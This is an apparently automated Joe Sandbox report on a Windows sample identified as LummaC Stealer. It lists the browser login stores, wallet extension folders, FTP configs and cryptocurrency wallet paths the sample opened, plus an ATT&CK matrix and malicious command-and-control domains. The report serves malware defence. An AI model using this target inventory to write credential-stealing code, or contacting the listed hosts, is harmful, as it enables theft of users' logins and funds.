Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\EIVQSAOTAQ	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\LIJDSFKJZG	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NYMMPCEIMA	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\VWDFPKGDUF	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\EIVQSAOTAQ	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\LIJDSFKJZG	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NWCXBPIUYI	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NYMMPCEIMA	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\VWDFPKGDUF	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\EIVQSAOTAQ	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\LIJDSFKJZG	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NYMMPCEIMA	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\VWDFPKGDUF	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\EIVQSAOTAQ	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\LIJDSFKJZG	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NWCXBPIUYI	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NYMMPCEIMA	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\VWDFPKGDUF	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\EIVQSAOTAQ	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\LIJDSFKJZG	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NWCXBPIUYI	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NYMMPCEIMA	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\VWDFPKGDUF	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\EIVQSAOTAQ	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\LIJDSFKJZG	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NWCXBPIUYI	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NYMMPCEIMA	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\VWDFPKGDUF	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\LIJDSFKJZG	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NYMMPCEIMA	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\VWDFPKGDUF	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\EIVQSAOTAQ	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\LIJDSFKJZG	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NYMMPCEIMA	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\VWDFPKGDUF	Jump to behavior

Source: Yara match	File source: 00000000.00000003.2148812476.0000000000872000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6464, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Windows Management Instrumentation	1 DLL Side-Loading	1 Process Injection	34 Virtualization/Sandbox Evasion	2 OS Credential Dumping	1 Query Registry	Remote Services	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	Boot or Logon Initialization Scripts	1 DLL Side-Loading	1 Process Injection	LSASS Memory	741 Security Software Discovery	Remote Desktop Protocol	41 Data from Local System	2 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 PowerShell	Logon Script (Windows)	Logon Script (Windows)	1 Deobfuscate/Decode Files or Information	Security Account Manager	34 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	113 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	2 Obfuscated Files or Information	NTDS	2 Process Discovery	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	12 Software Packing	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	223 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.	0%	URL Reputation	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
http://crl.rootca1.amazontrust.com/rootca1.crl0	0%	URL Reputation	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	0%	URL Reputation	safe
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg	0%	URL Reputation	safe
http://crl.micro	0%	URL Reputation	safe
http://x1.c.lencr.org/0	0%	URL Reputation	safe
http://x1.i.lencr.org/0	0%	URL Reputation	safe
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
http://crt.rootca1.amazontrust.com/rootca1.cer0?	0%	URL Reputation	safe
https://support.mozilla.org/products/firefoxgro.all	0%	URL Reputation	safe
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
crisiwarny.store	104.21.95.91	true	true		unknown
presticitpo.store	unknown	unknown	true		unknown

Contacted URLs

Name	Malicious	Reputation
presticitpo.store	true	unknown
scriptyprefej.store	true	unknown
https://crisiwarny.store/api	true	unknown
necklacedmny.store	true	unknown
fadehairucw.store	true	unknown
navygenerayk.store	true	unknown
founpiuer.store	true	unknown
thumbystriw.store	true	unknown
crisiwarny.store	true	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	file.exe, 00000000.00000003.2106308398.0000000005229000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2106150657.000000000522C000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2106210416.0000000005229000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000003.2106308398.0000000005229000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2106150657.000000000522C000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2106210416.0000000005229000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	file.exe, 00000000.00000003.2106308398.0000000005229000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2106150657.000000000522C000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2106210416.0000000005229000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	file.exe, 00000000.00000003.2133094376.00000000051F1000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.	file.exe, 00000000.00000003.2133094376.00000000051F1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000003.2106308398.0000000005229000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2106150657.000000000522C000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2106210416.0000000005229000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://crl.rootca1.amazontrust.com/rootca1.crl0	file.exe, 00000000.00000003.2131793097.0000000005202000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	file.exe, 00000000.00000003.2106308398.0000000005229000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2106150657.000000000522C000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2106210416.0000000005229000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://ocsp.rootca1.amazontrust.com0:	file.exe, 00000000.00000003.2131793097.0000000005202000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://www.ecosia.org/newtab/	file.exe, 00000000.00000003.2106308398.0000000005229000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2106150657.000000000522C000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2106210416.0000000005229000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	file.exe, 00000000.00000003.2132735099.000000000551C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ac.ecosia.org/autocomplete?q=	file.exe, 00000000.00000003.2106308398.0000000005229000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2106150657.000000000522C000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2106210416.0000000005229000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg	file.exe, 00000000.00000003.2133094376.00000000051F1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://crisiwarny.store/apiOp	file.exe, 00000000.00000002.2399879648.0000000000882000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2173269291.0000000000882000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2160939026.0000000000882000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://crl.micro	file.exe, 00000000.00000002.2399879648.0000000000819000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://crisiwarny.store/apiO	file.exe, 00000000.00000002.2399879648.0000000000882000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2173269291.0000000000882000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://x1.c.lencr.org/0	file.exe, 00000000.00000003.2131793097.0000000005202000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://x1.i.lencr.org/0	file.exe, 00000000.00000003.2131793097.0000000005202000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	file.exe, 00000000.00000003.2106308398.0000000005229000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2106150657.000000000522C000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2106210416.0000000005229000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://crisiwarny.store/aj	file.exe, 00000000.00000003.2105540670.0000000000872000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://crt.rootca1.amazontrust.com/rootca1.cer0?	file.exe, 00000000.00000003.2131793097.0000000005202000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://crisiwarny.store/n	file.exe, 00000000.00000003.2394643933.0000000000863000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2399879648.0000000000864000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://crisiwarny.store/p	file.exe, 00000000.00000002.2402821621.0000000005286000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://crisiwarny.store/	file.exe, 00000000.00000002.2402821621.0000000005286000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://support.mozilla.org/products/firefoxgro.all	file.exe, 00000000.00000003.2132735099.000000000551C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	file.exe, 00000000.00000003.2106308398.0000000005229000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2106150657.000000000522C000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2106210416.0000000005229000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://crisiwarny.store/apijh	file.exe, 00000000.00000002.2399879648.0000000000882000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2173269291.0000000000882000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2160939026.0000000000882000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://crisiwarny.store/apis	file.exe, 00000000.00000003.2148844990.000000000087D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2399879648.0000000000882000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2173269291.0000000000882000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2160939026.0000000000882000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2148812476.0000000000872000.00000004.00000020.00020000.00000000.sdmp	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
104.21.95.91	crisiwarny.store	United States		13335	CLOUDFLARENETUS	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1542947
Start date and time:	2024-10-26 23:14:08 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 14s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	4
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@1/0@2/1
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 1
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target file.exe, PID 6464 because there are no executed function
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
17:15:05	API Interceptor	32x Sleep call for process: file.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
104.21.95.91	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse
